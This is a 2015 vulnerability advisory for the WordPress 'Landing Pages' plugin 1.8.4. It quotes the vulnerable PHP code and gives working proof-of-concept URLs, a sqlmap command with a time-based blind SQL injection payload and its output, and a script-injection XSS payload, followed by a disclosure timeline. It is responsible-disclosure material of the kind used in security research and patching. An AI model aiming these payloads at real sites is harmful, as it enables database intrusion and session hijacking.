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WordPress Landing Pages 1.8.4 Cross Site Scripting / SQL Injection

Posted on 26 May 2015

# Title: Multiple vulnerabilities in WordPress plugin "WordPress Landing Pages"
# Author: Adrián M. F. - adrimf85[at]gmail[dot]com
# Date: 2015-05-25
# Vendor Homepage: https://wordpress.org/plugins/landing-pages/
# Active installs: 20,000+
# Vulnerable version: 1.8.4
# Fixed version: 1.8.5
# CVE: CVE-2015-4064, CVE-2015-4065

 Vulnerabilities (2)
=====================

(1) Authenticated SQLi [CWE-89] (CVE-2015-4064)
-----------------------------------------------

* CODE:
modules/module.ab-testing.php:100
+++++++++++++++++++++++++++++++++++++++++
$wpdb->query("
 SELECT `meta_key`, `meta_value`
 FROM $wpdb->postmeta
 WHERE `post_id` = ".$_GET['post']."
");
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/post.php?post=306[SQLi]&action=edit&lp-variation-id=1&ab-action=delete-variation

SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py --cookie="[cookie]" --dbms mysql -u "http://[domain]/wp-admin/post.php?post=306&action=edit&lp-variation-id=0&ab-action=delete-variation" -p post
[............]
GET parameter 'post' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 86 HTTP(s) requests:
---
Parameter: post (GET)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
 Payload: post=306 AND (SELECT * FROM (SELECT(SLEEP(10)))sCKL)&action=edit&lp-variation-id=0&ab-action=delete-variation
---
[13:35:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++

(2) Authenticated XSS [CWE-79] (CVE-2015-4065)
----------------------------------------------

* CODE:
shared/shortcodes/inbound-shortcodes.php:761
+++++++++++++++++++++++++++++++++++++++++
<iframe src='<?php echo INBOUDNOW_SHARED_URLPATH . 'shortcodes/'; ?>preview.php?sc=&post=<?php echo $_GET['post']; ?>' width="285" scrollbar='true' frameborder="0" id="inbound-shortcodes-preview"></iframe>
+++++++++++++++++++++++++++++++++++++++++

* POC:
http://[domain]/wp-admin/post-new.php?post_type=inbound-forms&post='></iframe><script>alert(String.fromCharCode(88, 83, 83))</script>

 Timeline
==========
2015-05-09: Discovered vulnerability.
2015-05-20: Vendor notification.
2015-05-20: Vendor response.
2015-05-22: Vendor fix.
2015-05-25: Public disclosure.

 

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